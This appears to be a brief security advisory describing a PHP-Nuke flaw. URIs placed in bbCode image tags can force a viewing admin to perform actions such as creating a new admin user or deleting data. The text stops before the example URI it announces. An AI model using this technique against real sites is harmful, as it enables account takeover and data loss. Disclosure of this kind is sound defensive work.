It has been reported that PHP-Nuke is prone to a remote admin command execution vulnerability. This issue is due to a design error that allows an attacker to specify arbitrary URI values in bbCode tags contained within posts.

This issue may be leveraged to force an admin user viewing a malicious post to perform some query to the affected application such as adding a user or removing arbitrary data from the database.

The following URI, when inserted between the '[img]' tags and viewed by an admin user will cause the creation of a new admin user:
